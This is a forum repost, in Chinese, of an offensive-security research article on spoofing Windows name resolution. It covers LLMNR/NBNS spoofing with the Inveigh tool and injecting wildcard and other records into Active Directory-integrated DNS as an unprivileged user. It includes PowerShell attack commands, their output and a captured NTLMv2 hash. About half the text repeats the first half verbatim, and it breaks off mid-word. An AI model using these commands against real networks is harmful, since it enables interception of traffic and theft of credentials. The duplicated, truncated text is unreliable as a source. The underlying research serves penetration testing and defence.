taibeihacker
Moderator
利用名稱解析協議中的缺陷進行內網滲透是執行中間人（MITM）攻擊的常用技術。有兩個特別容易受到攻擊的名稱解析協議分別是鏈路本地多播名稱解析（LLMNR）和NetBIOS名稱服務（NBNS）。攻擊者可以利用這兩種協議來響應無法通過更高優先級的解析方法（如DNS）應答的請求。 Active Directory（AD）環境中默認啟用了LLMNR和NBNS，這使得這種類型的欺騙攻擊將會成為一種非常有效的方式，既可以獲得對域的初始訪問權限，也可以在漏洞後期利用過程中提升域權限。為了在內網滲透的場景中使用這種攻擊技術，我開發了Inveigh這個工具，這是一個基於PowerShell的LLMNR/NBNS欺騙工具，可以在已經拿到權限的AD主機上運行。
PSC:\users\kevin\Desktop\InveighInvoke-Inveigh-ConsoleOutputY
[*]Inveigh1.4Devstartedat2018-07-05T22:29:35
[+]ElevatedPrivilegeMode=Enabled
[+]PrimaryIPAddress=192.168.125.100
[+]LLMNR/NBNS/mDNS/DNSSpooferIPAddress=192.168.125.100
[+]LLMNRSpoofer=Enabled
[+]NBNSSpoofer=Enabled
[+]SMBCapture=Enabled
[+]HTTPCapture=Enabled
[+]HTTPSCapture=Disabled
[+]HTTP/HTTPSAuthentication=NTLM
[+]WPADAuthentication=NTLM
[+]WPADDefaultResponse=Enabled
[+]RealTimeConsoleOutput=Enabled
WARNING:[!]RunStop-Inveightostopmanually
[*]Pressanykeytostoprealtimeconsoleoutput
[+][2018-07-05T22:29:53]LLMNRrequestforbadrequestreceivedfrom192.168.125.102[ResponseSent]
[+][2018-07-05T22:29:53]SMBNTLMv2challenge/responsecapturedfrom192.168.125.102(INVEIGH-WKS2):
testuser1:INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:010100000000000071ADB439D114D401D5B48AB8C3EC8E010000000002000E0049004E005600450049004700480 00100180049004E00560045004900470048002D0057004B00530031000400160069006E00760065006900670068002E006E00650074000300300049006E00760065006900670068002D0057004B00530031002E0069006E00760 065006900670068002E006E00650074000500160069006E00760065006900670068002E006E00650074000700080071ADB438D114D401060004000200000008003000300000000000000000000000002000004FC481EC79C5F6B B2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A0010000000000000000000000000000000000009001E0063006900660073002F006200610064007200650071007500650073007400000000000000000000000000
在我開發Inveigh的整個過程中，我在域環境中進行了很多實驗，從不同級別的權限的角度出發，深入研究了LLMNR/NBNS欺騙攻擊過程。 Inveigh的許多更新實際上都是在試圖實現其他一些基於特權的使用功能。
最近，在Inveigh之外的一些研究工作，讓我的腦海裡出現了一個棘手的問題。如果你已經擁有了對域的非特權訪問權限，那麼執行LLMNR/NBNS欺騙甚至是執行基於名稱解析的MITM攻擊會是一種最佳的攻擊方式嗎？為了獲得這個問題的答案，我不斷的在研究可疑的AD角色配置，這個角色配置給了我一些找到問題答案的啟發，即Active Directory集成DNS（ADIDNS）。
名称解析顺序
鑑於撰寫本文的目的，我將簡要介紹關於LLMNR/NBNS欺騙的兩個關鍵部分。首先，在沒有實現某些基於路由器的流量路由的情況下，LLMNR和NBNS請求分別包含在單個多播或廣播域中。這可以極大地限制被入侵的系統和受到潛在特權欺騙攻擊的會話的影響範圍。其次，在默認情況下，Windows系統在嘗試解析通過基於網絡協議的名稱解析請求時會使用以下優先級列表：
1.DNS
2.LLMNR
3.NBNS
儘管DNS不直接作為整個攻擊中的一部分而被利用，但由於它控制了哪些請求能夠交給LLMNR或NBNS處理，所以，實際上DNS對LLMNR/NBNS欺騙的有效性具有很大的影響。基本上來說，如果名稱請求與DNS中列出的記錄相匹配，則客戶端通常不會嘗試通過LLMNR和NBNS來解析請求。
在執行攻擊時，我們是否真的需要滿足基於網絡的名稱解析協議的層次結構所對應的解析順序？是否有一種可以直接利用DNS進行解析的簡單方法？記住我們在域中僅具有非特權訪問權限這個限制條件，讓我們看看在這個限制條件下我們必須使用什麼才可以完成攻擊。
Active Directory集成的DNS区域
域控制器和ADIDNS區域總是一起出現。每個域控制器通常都有一個可訪問的DNS服務器，至少託管了默認的ADIDNS區域。
我要強調的第一個默認設置是ADIDNS區域的自主訪問控制列表（DACL）。
從上圖中，你可以看到，該區域默認情況下列出了具有'Authenticated Users'（已驗證用戶），'Create all child objects'（創建所有子對象）。經過身份驗證的用戶對域名的操作門檻相當低，當然，這類用戶可以操作的域名也包括了不需要特權可以訪問的目標。但是，我們要清楚我們該如何利用這個特性以及我們可以用它做什麼？
修改ADIDNS区域
遠程修改ADIDNS區域主要有兩種方法。第一種是使用基於RPC的管理工具。要運行這些工具通常需要DNS管理員或者更高的權限，因此我不打算描述這些工具的功能。第二種方法是DNS動態更新。動態更新是專門用於修改DNS區域的DNS特定協議。在AD世界中，動態更新主要由計算機帳戶所使用，用於添加和更新自己的DNS記錄。
這將我們帶到了另一個我們所感興趣的ADIDNS區域的默認設置，即安全動態更新的啟用狀態。
动态更新
去年，為了在漏洞後期利用期間更輕鬆地利用此默認設置，我開發了一個名為Invoke-DNSUpdate的PowerShell DNS動態更新工具。
PSC:\Users\kevin\Desktop\PowermadInvoke-DNSupdate-DNSTypeA-DNSNametest-DNSData192.168.125.100-Verbose
VERBOSE:[+]TKEYname648-ms-7.1-4675.57409638-8579-11e7-5813-000c296694e0
VERBOSE:[+]Kerberospreauthenticationsuccessful
VERBOSE:[+]KerberosTKEYquerysuccessful
[+]DNSupdatesuccessful
一旦了解瞭如何將權限應用於DNS記錄，那麼使用安全動態更新的規則就變得非常簡單。如果區域中並不存在匹配的DNS記錄名稱，則經過身份驗證的用戶就可以創建相應的DNS記錄。創建者帳戶將獲得DNS記錄的所有權或完全控制權。
如果DNS區域中已存在匹配的記錄名稱，則將禁止經過身份驗證的用戶修改或刪除記錄，除非用戶具有所需的權限，例如用戶是管理員的情況。請注意，我正在使用DNS記錄名稱而不是DNS記錄。在這方面，標準的DNS視圖可能會令人困惑。實際上，權限是根據DNS記錄名稱而不是在DNS控制台中查看的單個DNS記錄來應用的。
例如，如果管理員創建了名為'test'的記錄，則非特權帳戶無法創建第二條名為'test'的記錄來作為DNS循環設置的一部分。這也適用於多種DNS記錄類型。如果DNS區域的根區域存在默認的A記錄，則非特權帳戶無法為DNS區域創建根MX記錄，因為兩個記錄在內部都被命名為'@'。在本文中，我們將從另一個角度查看DNS記錄，這會提供更好的按名稱分組的ADIDNS記錄視圖。
以下是默認的記錄，可防止非特權帳戶的操作影響到Kerberos和LDAP等AD服務。
對於可以通過非特權用戶的動態更新所創建的記錄類型，幾乎沒有任何限制。允許創建的類型僅限於Windows服務器動態更新實現所支持的類型。一般支持最常見的記錄類型。 Invoke-DNSUpdate目前支持A，AAAA，CNAME，MX，PTR，SRV和TXT記錄。總的來說，如果可以識別出不存在的且值得添加的DNS記錄，那麼單獨的安全動態更新肯定是可以被攻擊者利用的。
使用动态更新补充LLMNR / NBNS欺骗
為了使安全動態更新武器化並能夠像LLMNR/NBNS欺騙類似的方式運行，我研究瞭如何將記錄注入到ADIDNS中來匹配並響應收到的LLMNR/NBNS請求。理論上講，DNS中不應該存在能夠降至LLMNR/NBNS的記錄。因此，這些記錄確實需要已經過身份驗證的用戶來創建。此方法不實用於在內網中不常見的或只有一次請求的名稱。但是，如果你通過LLMNR/NBNS繼續看到了相同的請求，則將該記錄添加到DNS可能會有所幫助。
在即將推出的Inveigh版本中包含了這種技術的變體。如果Inveigh從多個系統檢測到相同的LLMNR/NBNS請求，則可以將匹配記錄添加到ADIDNS。當系統發送已經不在DNS中存在的舊主機的LLMNR/NBNS名稱解析請求時，這種方法可能很有效。如果子網內的多個系統正在嘗試解析一個特定的名稱，那麼外部的系統也有可能正在嘗試解析相同的名稱。在這種情況下，注入ADIDNS有助於將攻擊擴展到子網邊界。
PSC:\users\kevin\Desktop\InveighInvoke-Inveigh-ConsoleOutputY-DNSY-DNSThreshold4
[*]Inveigh1.4Devstartedat2018-07-05T22:32:37
[+]ElevatedPrivilegeMode=Enabled
[+]PrimaryIPAddress=192.168.125.100
[+]LLMNR/NBNS/mDNS/DNSSpooferIPAddress=192.168.125.100
[+]LLMNRSpoofer=Enabled
[+]DNSInjection=Enabled
[+]SMBCapture=Enabled
[+]HTTPCapture=Enabled
[+]HTTPSCapture=Disabled
[+]HTTP/HTTPSAuthentication=NTLM
[+]WPADAuthentication=NTLM
[+]WPADDefaultResponse=Enabled
[+]RealTimeConsoleOutput=Enabled
WARNING:[!]RunStop-Inveightostopmanually
[*]Pressanykeytostoprealtimeconsoleoutput
[+][2018-07-05T22:32:52]LLMNRrequestfordnsinjectreceivedfrom192.168.125.102[ResponseSent]
[+][2018-07-05T22:33:00]LLMNRrequestfordnsinjectreceivedfrom192.168.125.100[ResponseSent]
[+][2018-07-05T22:35:00]LLMNRrequestfordnsinjectreceivedfrom192.168.125.104[ResponseSent]
[+][2018-07-05T22:41:00]LLMNRrequestfordnsinjectreceivedfrom192.168.125.105[ResponseSent]
[+][2018-07-05T22:50:00]LLMNRrequestfordnsinjectreceivedfrom192.168.125.106[ResponseSent]
WARNING:[!][2018-07-05T22:33:01]DNS(A)recordfordnsinjectadded
记住方式
在嘗試尋找理想的安全動態更新攻擊時，我在協議本身或已經存在的默認DNS記錄這塊遇到了困難。因為，如前面所述，我曾計劃在Inveigh中實現動態更新攻擊，於是我開始更多地思考如何在滲透測試中使用這種技術。為了幫助滲透測試人員確認這種攻擊確實可以起作用，我意識到創建一個PowerShell函數會有所幫助，該函數可以通過非特權帳戶的上下文查看ADIDNS區域的權限。但是，如果不使用只有管理員才有權限使用的工具，我能否可以遠程枚舉DACL呢？在我的大腦中沒有參與ADIDNS研究的那一部分立即回答道：'DNS區域存儲在AD中，只需通過LDAP查看DACL'。
LDAP …
……看來還有另外一種查看DNS區域的方式我沒有用過。
我回想了我在當網絡管理員的工作期間可能遇到的事情，我發現ADIDNS區域當前存儲在DomainDNSZones或ForestDNSZones分區中。
LDAP為'經過身份驗證的用戶'提供了一種可以在不依賴動態更新的情況下修改ADIDNS區域的方法。通過創建dnsNode類的AD對象，可以直接通過LDAP將DNS記錄添加到ADIDNS區域。
通過這種簡單的理解，我現在有了一種執行我一直在追逐的DNS攻擊的方法。
通配符记录
通配符記錄允許DNS以一種與LLMNR/NBNS欺騙非常類似的方式運行。創建通配符記錄後，DNS服務器將使用該記錄來響應包含在區域中但未明確匹配到的記錄的名稱請求。
PSC:\Users\kevin\Desktop\PowermadResolve-DNSNameNoDNSRecord
NameTypeTTLSectionIPAddress
---------------------------
NoDNSRecord.inveigh.netA600Answer192.168.125.100
與LLMNR/NBNS不同，通配符記錄還會解析與ADIDNS區域匹配到的完全限定名稱的請求。
PSC:\Users\kevin\Desktop\PowermadResolve-DNSNameNoDNSRecord2.inveigh.net
NameTypeTTLSectionIPAddress
---------------------------
NoDNSRecord2.inveigh.netA600Answer192.168.125.100
我使用通配符記錄進行注入的過程被動態更新本身的一些限制所阻止。對於動態更新，至少Windows系統在實現的時候似乎沒有正確處理'*'字符。但是，LDAP卻沒有同樣的問題。
PSC:\Users\kevin\Desktop\PowermadNew-ADIDNSNode-Node*-Verbose
VERBOSE:[+]DomainController=Inveigh-DC1.inveigh.net
VERBOSE:[+]Domain=inveigh.net
VERBOSE:[+]ADIDNSZone=inveigh.net
VERBOSE:[+]DistinguishedName=DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE:[+]Data=192.168.125.100
VERBOSE:[+]DNSRecordArray=04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64
[+]ADIDNSnode*added
名称
我們把研究的步伐後退一步，讓我們看一下DNS節點是如何用於形成ADIDNS記錄的。 ADIDNS記錄的主要結構存儲在dnsRecord屬性中。此屬性定義了一些元素，比如記錄類型，目標IP地址或主機名以及靜態與動態分類之類的元素。
名稱之外的所有關鍵記錄的詳細信息都存儲在dnsRecord中。如果你有興趣，可以在MS-DNSP中找到有關屬性結構的更多信息。
我創建了一個名為New-DNSRecordArray的PowerShell函數，它可以為A，AAAA，CNAME，DNAME，MX，NS，PTR，SRV和TXT這些記錄類型創建一個dnsRecord數組。
PSC:\Users\kevin\Desktop\Powermad$dnsRecord=New-DNSRecordArray-TypeA-Data192.168.125.100
PSC:\Users\kevin\Desktop\Powermad[System.Bitconverter]:ToString($dnsrecord)
04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64
正如我之前所提到的，LDAP可以更好地查看匹配到名稱的DNS記錄是如何組合在一起的。單個DNS節點可以在dnsRecord屬性中包含多行。每行代表一個具有相同名稱的單獨的DNS記錄。下面是名稱為'@'的節點的dnsRecord屬性中包含的多個記錄的示例。
可以通過在結尾附加而不是覆蓋現有屬性值的方式將新的行添加到節點的dnsRecord屬性中。我創建的用於編輯屬性的PowerShell函數Set-ADIDNSNodeAttribute有一個'Append'開關可以用來執行此操作。
ADIDNS同步和复制
通過LDAP修改ADIDNS區域時，你可能會發現節點添加到LDAP與在DNS中出現該記錄之間會有延遲。這是因為DNS服務器的服務正在使用它自己的ADIDNS區域的內存副本。默認情況下，DNS服務器每隔180秒會把內存中的副本與AD進行同步。
在大型的多站點的AD基礎架構中，域控制器複製時間可能是發起ADIDNS欺騙攻擊的一個因素和時機。在企業內網中，為了充分擴大並利用我們添加的記錄所影響的範圍，攻擊時間需要延長複製延遲的時間。默認情況下，站點之間的複制最多可能需要三個小時。要減少延遲，可以通過定位一台攻擊效果最大的DNS服務器來啟動攻擊。儘管在內網環境中向每個DNS服務器添加記錄並在復制之前跳轉可以起作用，但請記住，一旦複製完成，AD將需要對重複對象進行排序。
SOA序列号
使用ADIDNS區域有另外一個需要考慮的因素是網絡上可能存在其他集成的DNS服務器。如果服務器託管了從屬的DNS區域，則序列號會用於確定是否發生了更改。幸運的是，通過LDAP添加DNS節點時，序列號會遞增。遞增的序列號需要包含在節點的dnsRecord數組中，確保可以將記錄複製到託管從屬區域的服務器。區域的SOA序列號是所有節點的dnsRecord屬性中列出的數字最高的一個序列號。在這裡需要注意的是SOA序列號只遞增1，防止區域的序列號出現不必要地大量遞增。我創建了一個名為New-SOASerialNumberArray的PowerShell函數，簡化了這個過程。
PSC:\Users\kevin\Desktop\PowermadNew-SOASerialNumberArray
62
0
0
0
SOA序列號也可以通過nslookup獲得。
PSC:\Users\kevin\Desktop\Powermadnslookup
DefaultServer:UnKnown
Address:192.168.125.10
settype=soa
inveigh.net
Server:UnKnown
Address:192.168.125.10
inveigh.net
primarynameserver=inveigh-dc1.inveigh.net
responsiblemailaddr=hostmaster.inveigh.net
serial=255
re
PSC:\users\kevin\Desktop\InveighInvoke-Inveigh-ConsoleOutputY
[*]Inveigh1.4Devstartedat2018-07-05T22:29:35
[+]ElevatedPrivilegeMode=Enabled
[+]PrimaryIPAddress=192.168.125.100
[+]LLMNR/NBNS/mDNS/DNSSpooferIPAddress=192.168.125.100
[+]LLMNRSpoofer=Enabled
[+]NBNSSpoofer=Enabled
[+]SMBCapture=Enabled
[+]HTTPCapture=Enabled
[+]HTTPSCapture=Disabled
[+]HTTP/HTTPSAuthentication=NTLM
[+]WPADAuthentication=NTLM
[+]WPADDefaultResponse=Enabled
[+]RealTimeConsoleOutput=Enabled
WARNING:[!]RunStop-Inveightostopmanually
[*]Pressanykeytostoprealtimeconsoleoutput
[+][2018-07-05T22:29:53]LLMNRrequestforbadrequestreceivedfrom192.168.125.102[ResponseSent]
[+][2018-07-05T22:29:53]SMBNTLMv2challenge/responsecapturedfrom192.168.125.102(INVEIGH-WKS2):
testuser1:INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:010100000000000071ADB439D114D401D5B48AB8C3EC8E010000000002000E0049004E005600450049004700480 00100180049004E00560045004900470048002D0057004B00530031000400160069006E00760065006900670068002E006E00650074000300300049006E00760065006900670068002D0057004B00530031002E0069006E00760 065006900670068002E006E00650074000500160069006E00760065006900670068002E006E00650074000700080071ADB438D114D401060004000200000008003000300000000000000000000000002000004FC481EC79C5F6B B2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A0010000000000000000000000000000000000009001E0063006900660073002F006200610064007200650071007500650073007400000000000000000000000000
在我開發Inveigh的整個過程中，我在域環境中進行了很多實驗，從不同級別的權限的角度出發，深入研究了LLMNR/NBNS欺騙攻擊過程。 Inveigh的許多更新實際上都是在試圖實現其他一些基於特權的使用功能。
最近，在Inveigh之外的一些研究工作，讓我的腦海裡出現了一個棘手的問題。如果你已經擁有了對域的非特權訪問權限，那麼執行LLMNR/NBNS欺騙甚至是執行基於名稱解析的MITM攻擊會是一種最佳的攻擊方式嗎？為了獲得這個問題的答案，我不斷的在研究可疑的AD角色配置，這個角色配置給了我一些找到問題答案的啟發，即Active Directory集成DNS（ADIDNS）。
名称解析顺序
鑑於撰寫本文的目的，我將簡要介紹關於LLMNR/NBNS欺騙的兩個關鍵部分。首先，在沒有實現某些基於路由器的流量路由的情況下，LLMNR和NBNS請求分別包含在單個多播或廣播域中。這可以極大地限制被入侵的系統和受到潛在特權欺騙攻擊的會話的影響範圍。其次，在默認情況下，Windows系統在嘗試解析通過基於網絡協議的名稱解析請求時會使用以下優先級列表：
1.DNS
2.LLMNR
3.NBNS
儘管DNS不直接作為整個攻擊中的一部分而被利用，但由於它控制了哪些請求能夠交給LLMNR或NBNS處理，所以，實際上DNS對LLMNR/NBNS欺騙的有效性具有很大的影響。基本上來說，如果名稱請求與DNS中列出的記錄相匹配，則客戶端通常不會嘗試通過LLMNR和NBNS來解析請求。
在執行攻擊時，我們是否真的需要滿足基於網絡的名稱解析協議的層次結構所對應的解析順序？是否有一種可以直接利用DNS進行解析的簡單方法？記住我們在域中僅具有非特權訪問權限這個限制條件，讓我們看看在這個限制條件下我們必須使用什麼才可以完成攻擊。
Active Directory集成的DNS区域
域控制器和ADIDNS區域總是一起出現。每個域控制器通常都有一個可訪問的DNS服務器，至少託管了默認的ADIDNS區域。
我要強調的第一個默認設置是ADIDNS區域的自主訪問控制列表（DACL）。
從上圖中，你可以看到，該區域默認情況下列出了具有'Authenticated Users'（已驗證用戶），'Create all child objects'（創建所有子對象）。經過身份驗證的用戶對域名的操作門檻相當低，當然，這類用戶可以操作的域名也包括了不需要特權可以訪問的目標。但是，我們要清楚我們該如何利用這個特性以及我們可以用它做什麼？
修改ADIDNS区域
遠程修改ADIDNS區域主要有兩種方法。第一種是使用基於RPC的管理工具。要運行這些工具通常需要DNS管理員或者更高的權限，因此我不打算描述這些工具的功能。第二種方法是DNS動態更新。動態更新是專門用於修改DNS區域的DNS特定協議。在AD世界中，動態更新主要由計算機帳戶所使用，用於添加和更新自己的DNS記錄。
這將我們帶到了另一個我們所感興趣的ADIDNS區域的默認設置，即安全動態更新的啟用狀態。
动态更新
去年，為了在漏洞後期利用期間更輕鬆地利用此默認設置，我開發了一個名為Invoke-DNSUpdate的PowerShell DNS動態更新工具。
PSC:\Users\kevin\Desktop\PowermadInvoke-DNSupdate-DNSTypeA-DNSNametest-DNSData192.168.125.100-Verbose
VERBOSE:[+]TKEYname648-ms-7.1-4675.57409638-8579-11e7-5813-000c296694e0
VERBOSE:[+]Kerberospreauthenticationsuccessful
VERBOSE:[+]KerberosTKEYquerysuccessful
[+]DNSupdatesuccessful
一旦了解瞭如何將權限應用於DNS記錄，那麼使用安全動態更新的規則就變得非常簡單。如果區域中並不存在匹配的DNS記錄名稱，則經過身份驗證的用戶就可以創建相應的DNS記錄。創建者帳戶將獲得DNS記錄的所有權或完全控制權。
如果DNS區域中已存在匹配的記錄名稱，則將禁止經過身份驗證的用戶修改或刪除記錄，除非用戶具有所需的權限，例如用戶是管理員的情況。請注意，我正在使用DNS記錄名稱而不是DNS記錄。在這方面，標準的DNS視圖可能會令人困惑。實際上，權限是根據DNS記錄名稱而不是在DNS控制台中查看的單個DNS記錄來應用的。
例如，如果管理員創建了名為'test'的記錄，則非特權帳戶無法創建第二條名為'test'的記錄來作為DNS循環設置的一部分。這也適用於多種DNS記錄類型。如果DNS區域的根區域存在默認的A記錄，則非特權帳戶無法為DNS區域創建根MX記錄，因為兩個記錄在內部都被命名為'@'。在本文中，我們將從另一個角度查看DNS記錄，這會提供更好的按名稱分組的ADIDNS記錄視圖。
以下是默認的記錄，可防止非特權帳戶的操作影響到Kerberos和LDAP等AD服務。
對於可以通過非特權用戶的動態更新所創建的記錄類型，幾乎沒有任何限制。允許創建的類型僅限於Windows服務器動態更新實現所支持的類型。一般支持最常見的記錄類型。 Invoke-DNSUpdate目前支持A，AAAA，CNAME，MX，PTR，SRV和TXT記錄。總的來說，如果可以識別出不存在的且值得添加的DNS記錄，那麼單獨的安全動態更新肯定是可以被攻擊者利用的。
使用动态更新补充LLMNR / NBNS欺骗
為了使安全動態更新武器化並能夠像LLMNR/NBNS欺騙類似的方式運行，我研究瞭如何將記錄注入到ADIDNS中來匹配並響應收到的LLMNR/NBNS請求。理論上講，DNS中不應該存在能夠降至LLMNR/NBNS的記錄。因此，這些記錄確實需要已經過身份驗證的用戶來創建。此方法不實用於在內網中不常見的或只有一次請求的名稱。但是，如果你通過LLMNR/NBNS繼續看到了相同的請求，則將該記錄添加到DNS可能會有所幫助。
在即將推出的Inveigh版本中包含了這種技術的變體。如果Inveigh從多個系統檢測到相同的LLMNR/NBNS請求，則可以將匹配記錄添加到ADIDNS。當系統發送已經不在DNS中存在的舊主機的LLMNR/NBNS名稱解析請求時，這種方法可能很有效。如果子網內的多個系統正在嘗試解析一個特定的名稱，那麼外部的系統也有可能正在嘗試解析相同的名稱。在這種情況下，注入ADIDNS有助於將攻擊擴展到子網邊界。
PSC:\users\kevin\Desktop\InveighInvoke-Inveigh-ConsoleOutputY-DNSY-DNSThreshold4
[*]Inveigh1.4Devstartedat2018-07-05T22:32:37
[+]ElevatedPrivilegeMode=Enabled
[+]PrimaryIPAddress=192.168.125.100
[+]LLMNR/NBNS/mDNS/DNSSpooferIPAddress=192.168.125.100
[+]LLMNRSpoofer=Enabled
[+]DNSInjection=Enabled
[+]SMBCapture=Enabled
[+]HTTPCapture=Enabled
[+]HTTPSCapture=Disabled
[+]HTTP/HTTPSAuthentication=NTLM
[+]WPADAuthentication=NTLM
[+]WPADDefaultResponse=Enabled
[+]RealTimeConsoleOutput=Enabled
WARNING:[!]RunStop-Inveightostopmanually
[*]Pressanykeytostoprealtimeconsoleoutput
[+][2018-07-05T22:32:52]LLMNRrequestfordnsinjectreceivedfrom192.168.125.102[ResponseSent]
[+][2018-07-05T22:33:00]LLMNRrequestfordnsinjectreceivedfrom192.168.125.100[ResponseSent]
[+][2018-07-05T22:35:00]LLMNRrequestfordnsinjectreceivedfrom192.168.125.104[ResponseSent]
[+][2018-07-05T22:41:00]LLMNRrequestfordnsinjectreceivedfrom192.168.125.105[ResponseSent]
[+][2018-07-05T22:50:00]LLMNRrequestfordnsinjectreceivedfrom192.168.125.106[ResponseSent]
WARNING:[!][2018-07-05T22:33:01]DNS(A)recordfordnsinjectadded
记住方式
在嘗試尋找理想的安全動態更新攻擊時，我在協議本身或已經存在的默認DNS記錄這塊遇到了困難。因為，如前面所述，我曾計劃在Inveigh中實現動態更新攻擊，於是我開始更多地思考如何在滲透測試中使用這種技術。為了幫助滲透測試人員確認這種攻擊確實可以起作用，我意識到創建一個PowerShell函數會有所幫助，該函數可以通過非特權帳戶的上下文查看ADIDNS區域的權限。但是，如果不使用只有管理員才有權限使用的工具，我能否可以遠程枚舉DACL呢？在我的大腦中沒有參與ADIDNS研究的那一部分立即回答道：'DNS區域存儲在AD中，只需通過LDAP查看DACL'。
LDAP …
……看來還有另外一種查看DNS區域的方式我沒有用過。
我回想了我在當網絡管理員的工作期間可能遇到的事情，我發現ADIDNS區域當前存儲在DomainDNSZones或ForestDNSZones分區中。
LDAP為'經過身份驗證的用戶'提供了一種可以在不依賴動態更新的情況下修改ADIDNS區域的方法。通過創建dnsNode類的AD對象，可以直接通過LDAP將DNS記錄添加到ADIDNS區域。
通過這種簡單的理解，我現在有了一種執行我一直在追逐的DNS攻擊的方法。
通配符记录
通配符記錄允許DNS以一種與LLMNR/NBNS欺騙非常類似的方式運行。創建通配符記錄後，DNS服務器將使用該記錄來響應包含在區域中但未明確匹配到的記錄的名稱請求。
PSC:\Users\kevin\Desktop\PowermadResolve-DNSNameNoDNSRecord
NameTypeTTLSectionIPAddress
---------------------------
NoDNSRecord.inveigh.netA600Answer192.168.125.100
與LLMNR/NBNS不同，通配符記錄還會解析與ADIDNS區域匹配到的完全限定名稱的請求。
PSC:\Users\kevin\Desktop\PowermadResolve-DNSNameNoDNSRecord2.inveigh.net
NameTypeTTLSectionIPAddress
---------------------------
NoDNSRecord2.inveigh.netA600Answer192.168.125.100
我使用通配符記錄進行注入的過程被動態更新本身的一些限制所阻止。對於動態更新，至少Windows系統在實現的時候似乎沒有正確處理'*'字符。但是，LDAP卻沒有同樣的問題。
PSC:\Users\kevin\Desktop\PowermadNew-ADIDNSNode-Node*-Verbose
VERBOSE:[+]DomainController=Inveigh-DC1.inveigh.net
VERBOSE:[+]Domain=inveigh.net
VERBOSE:[+]ADIDNSZone=inveigh.net
VERBOSE:[+]DistinguishedName=DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE:[+]Data=192.168.125.100
VERBOSE:[+]DNSRecordArray=04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64
[+]ADIDNSnode*added
名称
我們把研究的步伐後退一步，讓我們看一下DNS節點是如何用於形成ADIDNS記錄的。 ADIDNS記錄的主要結構存儲在dnsRecord屬性中。此屬性定義了一些元素，比如記錄類型，目標IP地址或主機名以及靜態與動態分類之類的元素。
名稱之外的所有關鍵記錄的詳細信息都存儲在dnsRecord中。如果你有興趣，可以在MS-DNSP中找到有關屬性結構的更多信息。
我創建了一個名為New-DNSRecordArray的PowerShell函數，它可以為A，AAAA，CNAME，DNAME，MX，NS，PTR，SRV和TXT這些記錄類型創建一個dnsRecord數組。
PSC:\Users\kevin\Desktop\Powermad$dnsRecord=New-DNSRecordArray-TypeA-Data192.168.125.100
PSC:\Users\kevin\Desktop\Powermad[System.Bitconverter]:ToString($dnsrecord)
04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64
正如我之前所提到的，LDAP可以更好地查看匹配到名稱的DNS記錄是如何組合在一起的。單個DNS節點可以在dnsRecord屬性中包含多行。每行代表一個具有相同名稱的單獨的DNS記錄。下面是名稱為'@'的節點的dnsRecord屬性中包含的多個記錄的示例。
可以通過在結尾附加而不是覆蓋現有屬性值的方式將新的行添加到節點的dnsRecord屬性中。我創建的用於編輯屬性的PowerShell函數Set-ADIDNSNodeAttribute有一個'Append'開關可以用來執行此操作。
ADIDNS同步和复制
通過LDAP修改ADIDNS區域時，你可能會發現節點添加到LDAP與在DNS中出現該記錄之間會有延遲。這是因為DNS服務器的服務正在使用它自己的ADIDNS區域的內存副本。默認情況下，DNS服務器每隔180秒會把內存中的副本與AD進行同步。
在大型的多站點的AD基礎架構中，域控制器複製時間可能是發起ADIDNS欺騙攻擊的一個因素和時機。在企業內網中，為了充分擴大並利用我們添加的記錄所影響的範圍，攻擊時間需要延長複製延遲的時間。默認情況下，站點之間的複制最多可能需要三個小時。要減少延遲，可以通過定位一台攻擊效果最大的DNS服務器來啟動攻擊。儘管在內網環境中向每個DNS服務器添加記錄並在復制之前跳轉可以起作用，但請記住，一旦複製完成，AD將需要對重複對象進行排序。
SOA序列号
使用ADIDNS區域有另外一個需要考慮的因素是網絡上可能存在其他集成的DNS服務器。如果服務器託管了從屬的DNS區域，則序列號會用於確定是否發生了更改。幸運的是，通過LDAP添加DNS節點時，序列號會遞增。遞增的序列號需要包含在節點的dnsRecord數組中，確保可以將記錄複製到託管從屬區域的服務器。區域的SOA序列號是所有節點的dnsRecord屬性中列出的數字最高的一個序列號。在這裡需要注意的是SOA序列號只遞增1，防止區域的序列號出現不必要地大量遞增。我創建了一個名為New-SOASerialNumberArray的PowerShell函數，簡化了這個過程。
PSC:\Users\kevin\Desktop\PowermadNew-SOASerialNumberArray
62
0
0
0
SOA序列號也可以通過nslookup獲得。
PSC:\Users\kevin\Desktop\Powermadnslookup
DefaultServer:UnKnown
Address:192.168.125.10
settype=soa
inveigh.net
Server:UnKnown
Address:192.168.125.10
inveigh.net
primarynameserver=inveigh-dc1.inveigh.net
responsiblemailaddr=hostmaster.inveigh.net
serial=255
re